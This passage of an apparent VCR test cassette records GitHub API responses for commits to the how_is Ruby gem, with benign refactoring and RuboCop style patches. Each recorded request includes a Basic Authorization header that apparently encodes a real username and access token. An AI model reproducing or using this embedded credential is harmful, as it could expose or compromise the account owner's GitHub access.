ow_is/analyzer.rb?ref=2a0613095eb547adde99796836150a2a808b62d6","patch":"@@ -120,30 +120,9 @@ def average_age_for(issues_or_pulls)\n return nil if issues_or_pulls.empty?\n \n ages = issues_or_pulls.map { |iop| time_ago_in_seconds(iop[\"created_at\"]) }\n- raw_average = ages.reduce(:+) / ages.length\n+ average_age_in_seconds = ages.reduce(:+) / ages.length\n \n- seconds_in_a_year = 31_556_926\n- seconds_in_a_month = 2_629_743\n- seconds_in_a_week = 604_800\n- seconds_in_a_day = 86_400\n-\n- years = raw_average / seconds_in_a_year\n- years_remainder = raw_average % seconds_in_a_year\n-\n- months = years_remainder / seconds_in_a_month\n- months_remainder = years_remainder % seconds_in_a_month\n-\n- weeks = months_remainder / seconds_in_a_week\n- weeks_remainder = months_remainder % seconds_in_a_week\n-\n- days = weeks_remainder / seconds_in_a_day\n-\n- values = [\n- [years, \"year\"],\n- [months, \"month\"],\n- [weeks, \"week\"],\n- [days, \"day\"],\n- ].reject { |(v, _)| v.zero? }.map { |(v, k)|\n+ values = period_pairs_for(average_age_in_seconds).reject { |(v, _)| v.zero? }.map { |(v, k)|\n k += \"s\" if v != 1\n [v, k]\n }\n@@ -213,5 +192,31 @@ def issue_or_pull_to_hash(iop)\n \n ret\n end\n+\n+ SECONDS_IN_A_YEAR = 31_556_926\n+ SECONDS_IN_A_MONTH = 2_629_743\n+ SECONDS_IN_A_WEEK = 604_800\n+ SECONDS_IN_A_DAY = 86_400\n+\n+ # Calculates a list of pairs of value and period label.\n+ #\n+ # @param age_in_seconds [Float]\n+ #\n+ # @return [Array] The input age_in_seconds expressed as different\n+ # units, as pairs of value and unit name.\n+ def period_pairs_for(age_in_seconds)\n+ years_remainder = age_in_seconds % SECONDS_IN_A_YEAR\n+\n+ months_remainder = years_remainder % SECONDS_IN_A_MONTH\n+\n+ weeks_remainder = months_remainder % SECONDS_IN_A_WEEK\n+\n+ [\n+ [age_in_seconds / SECONDS_IN_A_YEAR, \"year\"],\n+ [years_remainder / SECONDS_IN_A_MONTH, \"month\"],\n+ [months_remainder / SECONDS_IN_A_WEEK, \"week\"],\n+ [weeks_remainder / SECONDS_IN_A_DAY, \"day\"],\n+ ]\n+ end\n end\n end"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:36 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/dddba7e686a8c0aca4a35b4374bca9500cc11fb2 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:36 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3389' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"6e5c074d2898f440b5ca53682821f944" Last-Modified: - Sun, 16 Jul 2017 17:11:15 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - '0848:7CA0:293813:52DB9C:5CC36AE4' body: encoding: ASCII-8BIT string: '{"sha":"dddba7e686a8c0aca4a35b4374bca9500cc11fb2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGRkYmE3ZTY4NmE4YzBhY2E0YTM1YjQzNzRiY2E5NTAwY2MxMWZiMg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:11:15Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:11:15Z"},"message":"RuboCop: add TODO file","tree":{"sha":"fffd4bc58707e558beae60988afffac4a5542854","url":"https://api.github.com/repos/how-is/how_is/git/trees/fffd4bc58707e558beae60988afffac4a5542854"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/dddba7e686a8c0aca4a35b4374bca9500cc11fb2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/dddba7e686a8c0aca4a35b4374bca9500cc11fb2","html_url":"https://github.com/how-is/how_is/commit/dddba7e686a8c0aca4a35b4374bca9500cc11fb2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/dddba7e686a8c0aca4a35b4374bca9500cc11fb2/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"50106851573b4cf68569d7546a7c7c60b03c7e07","url":"https://api.github.com/repos/how-is/how_is/commits/50106851573b4cf68569d7546a7c7c60b03c7e07","html_url":"https://github.com/how-is/how_is/commit/50106851573b4cf68569d7546a7c7c60b03c7e07"}],"stats":{"total":23,"additions":23,"deletions":0},"files":[{"sha":"473b6c20753a67830b96c175d5d1236fe28844b0","filename":".rubocop.yml","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/dddba7e686a8c0aca4a35b4374bca9500cc11fb2/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/dddba7e686a8c0aca4a35b4374bca9500cc11fb2/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=dddba7e686a8c0aca4a35b4374bca9500cc11fb2","patch":"@@ -1,3 +1,5 @@\n+inherit_from: .rubocop_todo.yml\n+\n AllCops:\n DisplayCopNames: true\n DisplayStyleGuide: true"},{"sha":"0bb965a7fbce444e963f79bf461b2d808b729e6e","filename":".rubocop_todo.yml","status":"added","additions":21,"deletions":0,"changes":21,"blob_url":"https://github.com/how-is/how_is/blob/dddba7e686a8c0aca4a35b4374bca9500cc11fb2/.rubocop_todo.yml","raw_url":"https://github.com/how-is/how_is/raw/dddba7e686a8c0aca4a35b4374bca9500cc11fb2/.rubocop_todo.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop_todo.yml?ref=dddba7e686a8c0aca4a35b4374bca9500cc11fb2","patch":"@@ -0,0 +1,21 @@\n+# This configuration was generated by\n+# `rubocop --auto-gen-config`\n+# on 2017-07-16 19:09:46 +0200 using RuboCop version 0.49.1.\n+# The point is for the user to remove these configuration records\n+# one by one as the offenses are removed from the code base.\n+# Note that changes in the inspected code, or installation of new\n+# versions of RuboCop, may require this file to be generated again.\n+\n+# Offense count: 8\n+Metrics/AbcSize:\n+ Max: 31\n+\n+# Offense count: 2\n+# Configuration parameters: CountComments.\n+Metrics/ClassLength:\n+ Max: 117\n+\n+# Offense count: 3\n+# Configuration parameters: CountComments.\n+Metrics/MethodLength:\n+ Max: 31"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:36 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/50106851573b4cf68569d7546a7c7c60b03c7e07 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:36 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3388' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"85801a0f972ccaf41f447151bbaa4870" Last-Modified: - Sun, 16 Jul 2017 17:10:34 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - D197:42CF:146AC5:31289B:5CC36AE4 body: encoding: ASCII-8BIT string: '{"sha":"50106851573b4cf68569d7546a7c7c60b03c7e07","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTAxMDY4NTE1NzNiNGNmNjg1NjlkNzU0NmE3YzdjNjBiMDNjN2UwNw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:10:34Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:10:34Z"},"message":"RuboCop cop re-namespaced","tree":{"sha":"61561170ff46d97c40b6e695f6363449d7a9c042","url":"https://api.github.com/repos/how-is/how_is/git/trees/61561170ff46d97c40b6e695f6363449d7a9c042"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/50106851573b4cf68569d7546a7c7c60b03c7e07","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/50106851573b4cf68569d7546a7c7c60b03c7e07","html_url":"https://github.com/how-is/how_is/commit/50106851573b4cf68569d7546a7c7c60b03c7e07","comments_url":"https://api.github.com/repos/how-is/how_is/commits/50106851573b4cf68569d7546a7c7c60b03c7e07/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"84697990597c0ea2950cc93b8c0f75daa42f1d5b","url":"https://api.github.com/repos/how-is/how_is/commits/84697990597c0ea2950cc93b8c0f75daa42f1d5b","html_url":"https://github.com/how-is/how_is/commit/84697990597c0ea2950cc93b8c0f75daa42f1d5b"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"e010daa9580cc81e42d81f394b5cbed3de419a36","filename":"spec/how_is_spec.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/50106851573b4cf68569d7546a7c7c60b03c7e07/spec/how_is_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/50106851573b4cf68569d7546a7c7c60b03c7e07/spec/how_is_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is_spec.rb?ref=50106851573b4cf68569d7546a7c7c60b03c7e07","patch":"@@ -109,7 +109,7 @@\n end\n \n # Disable ''cop'' that is violated by every .generate_frontmatter() calls.\n- # rubocop:disable Layout/BracesAroundHashParameters\n+ # rubocop:disable Style/BracesAroundHashParameters\n context \"#generate_frontmatter\" do\n it \"works with frontmatter parameter using String keys, report_data using String keys\" do\n actual = nil"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:36 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/84697990597c0ea2950cc93b8c0f75daa42f1d5b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:36 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3387' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"b20807fdd9e5be7969f375235fbf1971" Last-Modified: - Sun, 16 Jul 2017 17:07:52 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 7F11:05A2:B793C:1E4660:5CC36AE4 body: encoding: ASCII-8BIT string: '{"sha":"84697990597c0ea2950cc93b8c0f75daa42f1d5b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODQ2OTc5OTA1OTdjMGVhMjk1MGNjOTNiOGMwZjc1ZGFhNDJmMWQ1Yg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:07:52Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:07:52Z"},"message":"Lint: avoid too long line","tree":{"sha":"33e1a7f4425cd5fbe373803ef5404a6030b8f3ae","url":"https://api.github.com/repos/how-is/how_is/git/trees/33e1a7f4425cd5fbe373803ef5404a6030b8f3ae"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/84697990597c0ea2950cc93b8c0f75daa42f1d5b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/84697990597c0ea2950cc93b8c0f75daa42f1d5b","html_url":"https://github.com/how-is/how_is/commit/84697990597c0ea2950cc93b8c0f75daa42f1d5b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/84697990597c0ea2950cc93b8c0f75daa42f1d5b/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"279bd76a7e31311c9f7137da97750e1a045ed138","url":"https://api.github.com/repos/how-is/how_is/commits/279bd76a7e31311c9f7137da97750e1a045ed138","html_url":"https://github.com/how-is/how_is/commit/279bd76a7e31311c9f7137da97750e1a045ed138"}],"stats":{"total":3,"additions":2,"deletions":1},"files":[{"sha":"8ab674ab55b9852d0569396aeb9aed760e783eda","filename":"lib/how_is/report/base_report.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/how-is/how_is/blob/84697990597c0ea2950cc93b8c0f75daa42f1d5b/lib/how_is/report/base_report.rb","raw_url":"https://github.com/how-is/how_is/raw/84697990597c0ea2950cc93b8c0f75daa42f1d5b/lib/how_is/report/base_report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/base_report.rb?ref=84697990597c0ea2950cc93b8c0f75daa42f1d5b","patch":"@@ -134,7 +134,8 @@ def issue_or_pr_summary(type, type_label)\n if number_of_type.zero?\n text \"There are #{link(\"no #{type_label}s open\", type_link)}.\"\n else\n- text \"There #{are_is(number_of_type)} #{link(\"#{number_of_type} #{pluralize(type_label, number_of_type)} open\", type_link)}.\"\n+ text \"There #{are_is(number_of_type)} #{link(\"#{number_of_type} \"\\\n+ \"#{pluralize(type_label, number_of_type)} open\", type_link)}.\"\n \n unordered_list [\n \"Average age: #{a.public_send(\"average_#{type}_age\")}.\","}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:36 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/279bd76a7e31311c9f7137da97750e1a045ed138 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:37 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3386' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"9131234e94a9a0a3be996e00daace7a6" Last-Modified: - Sun, 16 Jul 2017 16:44:28 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 511A:4060:127BF5:2E252B:5CC36AE4 body: encoding: ASCII-8BIT string: '{"sha":"279bd76a7e31311c9f7137da97750e1a045ed138","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Mjc5YmQ3NmE3ZTMxMzExYzlmNzEzN2RhOTc3NTBlMWEwNDVlZDEzOA==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:44:28Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:44:28Z"},"message":"RuboCop rule: Style/StringLiterals double_quotes","tree":{"sha":"1a67e3471627e70d69b2b5ec7a521e09ce56e827","url":"https://api.github.com/repos/how-is/how_is/git/trees/1a67e3471627e70d69b2b5ec7a521e09ce56e827"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/279bd76a7e31311c9f7137da97750e1a045ed138","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/279bd76a7e31311c9f7137da97750e1a045ed138","html_url":"https://github.com/how-is/how_is/commit/279bd76a7e31311c9f7137da97750e1a045ed138","comments_url":"https://api.github.com/repos/how-is/how_is/commits/279bd76a7e31311c9f7137da97750e1a045ed138/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","url":"https://api.github.com/repos/how-is/how_is/commits/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","html_url":"https://github.com/how-is/how_is/commit/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f"}],"stats":{"total":332,"additions":165,"deletions":167},"files":[{"sha":"38cf673a722ebc05e906a9b9e1c26cb5e07c4a9e","filename":".rubocop.yml","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -155,10 +155,8 @@ Layout/SpaceInsideHashLiteralBraces:\n EnforcedStyle: no_space\n \n # Use double quotes everywhere by default.\n-# TODO: Enable Style/StringLiterals cop. Disabled due to number of violations.\n Style/StringLiterals:\n- Enabled: false\n- #EnforcedStyle: double_quotes\n+ EnforcedStyle: double_quotes\n \n # TODO: Maybe make it so you have to do [:foo, :bar] not %i[foo bar]?\n Style/SymbolArray:"},{"sha":"011edb596c0fbb562bb19230e677429917231511","filename":"Gemfile","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/Gemfile","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/Gemfile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-source ''https://rubygems.org''\n+source \"https://rubygems.org\"\n \n # Specify your gem''s dependencies in how_is.gemspec\n gemspec"},{"sha":"b2be70a1b6e5cecc72d1d533607ebecb5155d624","filename":"Rakefile","status":"modified","additions":15,"deletions":15,"changes":30,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/Rakefile","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/Rakefile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Rakefile?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,26 +1,26 @@\n # frozen_string_literal: true\n \n-require ''bundler/gem_tasks''\n-require ''rspec/core/rake_task''\n-require ''timecop''\n-require ''./spec/vcr_helper.rb''\n-require ''how_is''\n+require \"bundler/gem_tasks\"\n+require \"rspec/core/rake_task\"\n+require \"timecop\"\n+require \"./spec/vcr_helper.rb\"\n+require \"how_is\"\n \n RSpec::Core::RakeTask.new(:spec) do |t|\n # Warning.warn() was added in Ruby 2.4.0, so don''t use -w on older versions.\n- t.ruby_opts = ''-w -r./spec/capture_warnings.rb'' if RUBY_VERSION >= ''2.4.0''\n+ t.ruby_opts = \"-w -r./spec/capture_warnings.rb\" if RUBY_VERSION >= \"2.4.0\"\n end\n \n task :default => :spec\n \n task :generate_changelog do\n- sh ''github_changelog_generator''\n+ sh \"github_changelog_generator\"\n end\n \n # Helper functions used later in the Rakefile.\n class HelperFunctions\n def self.freeze_time(&_block)\n- date = DateTime.parse(''2016-11-01'').new_offset(0)\n+ date = DateTime.parse(\"2016-11-01\").new_offset(0)\n Timecop.freeze(date) do\n yield\n end\n@@ -35,36 +35,36 @@ class HelperFunctions\n format: format,\n }\n \n- cassette = repository.tr(''/'', ''-'')\n+ cassette = repository.tr(\"/\", \"-\")\n VCR.use_cassette(cassette) do\n report = HowIs.generate_report(**options)\n end\n \n filename = \"#{cassette}-report.#{format}\"\n path = File.expand_path(\"spec/data/#{filename}\", __dir__)\n- File.open(path, ''w'') do |f|\n+ File.open(path, \"w\") do |f|\n f.puts report\n # HACK: Trailing newline is missing, 